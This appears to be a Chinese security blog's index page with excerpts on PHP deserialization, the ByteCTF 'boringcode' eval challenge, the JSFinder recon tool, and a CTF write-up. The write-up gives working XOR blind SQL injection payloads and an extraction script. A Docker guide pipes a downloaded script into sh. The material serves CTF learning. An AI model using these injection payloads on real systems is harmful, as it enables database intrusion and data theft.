OKLite介绍

OKLite是一套极简企业站系统,主要目标群体是展示型企业网站用户,让传统小企业快速布署网站,加强自身品牌意识,实现对公司形象的宣传。本系统最初是PHPOK程序精简而来。在同等配置下,OKLite速度优于PHPOK达30%以上。 (此版本在2018年已停止维护)

系统链接:https://www.phpok.com/oklite.html

基本情况

路由

网站有三个入口(前端,接口,后台),都是通过action()方法进行初始化。

01.jpg

不同的入口传入指定的方法中执行动作:

02.jpg

访问:http://127.0.0.1/admin.php?c=upload&f=save

会调用framework\admin\upload_control.php中的save_f方法。

Weiterlesen »

说在前面

对于PHP反序列化,原来也就只是浅尝而止。最近看到很多题的出现了多种没有了解过的反序列化形式,就此进一步学习一下。其中很多内容都参考了师傅们的博客,部分内容经过自己的修改。如果存在错误,还望师傅们指出。

Weiterlesen »

说在前面

这次参与了ByteCTF,尝试做了boringcode和EZCMS。虽然都没做出来,但是学到了很多东西。

这次通过ALTM4NZ师傅的wp来分析一下boringcode这道题并学习一下无参数函数的利用。

boringcode

看一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

这个页面的作用是,接受一个url参数,利用file_get_content远程获取url页面的源码,传递给eval执行。但在url传递和源码传递过程中有各种检测。

Weiterlesen »

前言

除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

这次在比赛当中遇到phar反序列化,却不知道如何下手。社区里前面也有人总结过,但没有包括一些ctf利用和zxc师傅发现的姿势。于是就自己来整理了。

Weiterlesen »

Threezh1 2019年8月22日

最近在接触一下协程,上手不易,拖了很长时间才把这个小框架完成。有些地方很简陋,后面慢慢完善吧。

做这个的想法是方便自己后面编写需要用到协程的脚本。(还有忘记协程的知识点了就过来复习)

先看框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import asyncio, functools
import time

def SomeFunction(parameter):
"""
这里是目标函数,脚本的功能都应在此函数当中。
参数个数都由自己确定,需要与functools.partial调用的参数一致。
"""
time.sleep(1)
return parameter

async def coroutine_execution(function, param1):
"""
通过run_in_executor方法来新建一个线程来执行耗时函数。
注意:functools.partial调用的参数应与目标函数一致
"""
loop = asyncio.get_event_loop()
result = await loop.run_in_executor(None,functools.partial(function, parameter=param1))
# result为目标函数返回的值
print(result)

def coroutine_init(function, parameters, threads):
"""
处理线程
coroutine_execution()调用协程函数,可自行修改参数个数内容等。
"""
times = int(len(parameters) / threads) + 1
if len(parameters) == threads or int(len(parameters) % threads) == 0: times -= 1
for num in range(times):
tasks = []
Minimum = threads * num
Maximum = threads * (num + 1)
if num == times - 1 and len(parameters) % threads != 0:
Minimum = (times - 1) * threads
Maximum = len(parameters)
if len(parameters) <= threads:
Minimum = 0
Maximum = len(parameters)
for i in range(Minimum, Maximum):
# 此处的parameters[i]就是取目标参数的单个值,可自行调整
future = asyncio.ensure_future(coroutine_execution(function, param1=parameters[i]))
tasks.append(future)
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(tasks))
print("[*] The {}th thread ends".format(str(num + 1)))
return None

if __name__ == "__main__":
words = ["Hello World.", "I'm Threezh1.", "Welcome to my blog.", "One", "Tow", "Three", "Four"]
coroutine_init(SomeFunction, parameters=words, threads=3)
Weiterlesen »

1. exec()

使用exec来执行Python导入模块的命令。

1
2
3
module_name = "module01"
exec("import " + module_name)
module01.echo()

2. __import__()

单独使用__import__() 可以直接加载模块,但是当需要动态加载类、函数时,就需要配合getattr来实现。

实现步骤:

  1. 获取模块名(module_name)
  2. 使用__import__(module_name)导入Python模块
  3. 使用getattr(module_name, class_name/function_name)获取类、方法的对象
    Weiterlesen »

说在前面

最近吃饭的时候总是会想很多关于易语言的事情。易语言是我学会的第一门语言,虽然它被喷的很惨很惨,具体可见:易语言 知乎。但是由于它极高的上手性,还是成为我高中时期最喜欢的编程工具。(当时我还没听说过Python)易语言画界面是非常简单的,用鼠标拖动一下组件,简简单单的几句代码就可以写一个简单的GUI程序。我想,在界面化的程序上,除了Web程序上用Javascript和CSS画界面。对于我这样懒惰的人,易语言无非是一个比较好的选择。Python,熟悉易语言的我在刚学Python时极度不适应,但是在学习了一段时间之后,我就改变了我的想法,Python真的太舒服了…

不说得太远了,先说下我最近的想法(疑问):

  1. 易语言能和Python结合起来吗?
  2. 结合的方式应该是怎样的?
  3. 结合起来有什么用?

在自问自答上面的问题之前,先来看一看易语言与Python有什么不同点:

易语言与Python的不同

先来看看易语言与Python编程环境的不同:

  • 易语言:

environment_e.jpg

environment_e_script.jpg

易语言这个弹出输入的内容,我只写了一行代码,其他的只是组件的大小和位置,这些易语言都已经安排好了,只需要添加参数即可。

那用Python写一个这样的弹出输入框的程序需要多少行代码呢?

Weiterlesen »

项目地址:https://github.com/Threezh1/JSFinder

关于 JSFinder

JSFinder is a tool for quickly extracting URLs and subdomains from JS files on a website.

JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具。

提取URL的正则部分使用的是LinkFinder

By : Threezh1

Blog: https://threezh1.github.io/

用法

  • 简单爬取

python JSFinder.py -u http://www.mi.com

这个命令会爬取 http://www.mi.com 这单个页面的所有的js链接,并在其中发现url和子域名

返回示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
url:http://www.mi.com                                         
Find 50 URL:
http://api-order.test.mi.com
http://api.order.mi.com
http://userid.xiaomi.com/userId
http://order.mi.com/site/login?redirectUrl=
...已省略

Find 26 Subdomain:
api-order.test.mi.com
api.order.mi.com
userid.xiaomi.com
order.mi.com
...已省略
Weiterlesen »

说在前面

文章已投稿至先知社区,具体内容:从CTF题中学习几种有趣(奇怪)的SQL注入

1.异或注入

题目地址:http://119.23.73.3:5004/

在一个师傅的博客中看到这题的Writeup,尝试按照他的payload进行复现,怎么都复现不出来。后来在安全客上看到另一篇异或注入的文章,才把这个题解决了。

初步测试之后会发现,题目过滤了空格,+,*,or,substr…等一些字符。而且#号注释也不起作用。

于是尝试异或注入。

http://119.23.73.3:5004/?id=1'^'1    返回错误
http://119.23.73.3:5004/?id=1'^'0    返回正常

在MYSQL命令中:

01_mysql.jpg

可见,当/?id=1’^’1时,传递到数据库当中,是id=0,由于为0的id不存在,所以这里返回错误。第二个同理。

这里属于布尔盲注,于是构造payload,用脚本跑:

检索数据库:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1

检索出来的库为:information_schema,moctf,mysql,performance_schema

检索表:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='moctf')),1,1))=104))^'1'='1

检索出来的表:do_y0u_l1ke_long_t4ble_name,news

检索字段:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='do_y0u_l1ke_long_t4ble_name')),1,1))=104))^'1'='1

检索出来的字段:d0_you_als0_l1ke_very_long_column_name

读Flag:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(d0_you_als0_l1ke_very_long_column_name))FROM(moctf.do_y0u_l1ke_long_t4ble_name)),1,1))=104))^'1'='1

moctfb1ind_SQL_1njecti0n_g0od

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

#文字转ascii ord()
#ascii转文字 ascii()

dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,"
url = "http://119.23.73.3:5004/?id=2'^"
keyword = "Tip"
string = ""

for i in range(1, 300):
for j in dic:
payload = "!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{0},1))={1}))^'1'='1".format(str(i),ord(j))
url_get = url + payload
print(url_get)
content = requests.get(url_get)
if keyword in content.text:
string += j
print(string)
break
print("result = " + string)

跑出来的Flag:

01_getflag.jpg

Weiterlesen »

说在前面

腾讯10元学生机 购买
也可以使用阿里云的学生机,都很便宜。

这里我选择了Ubuntu系统。

安装Docker + Docker-compose

  • 安装Docker:

可以参考这个:Ubuntu Docker 安装

安装最新的docker
wget -qO- https://get.docker.com/ | sh

安装完会有一个提示,按照提示去执行
sudo usermod -aG docker ubuntu

命令执行完成之后,执行 docker verison 来查看是否安装完成。

anzhuangdocker.jpg

  • 安装Docker-compose:

参考:https://github.com/docker/compose/releases

因为我的腾讯云不是root权限,在执行命令前要加sudo

sudo curl -L https://github.com/docker/compose/releases/download/1.25.0-rc1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

同样的,命令执行完成之后,执行 docker-compose verison 来查看是否安装完成。

anzhuangdockercompose.jpg

Weiterlesen »

0%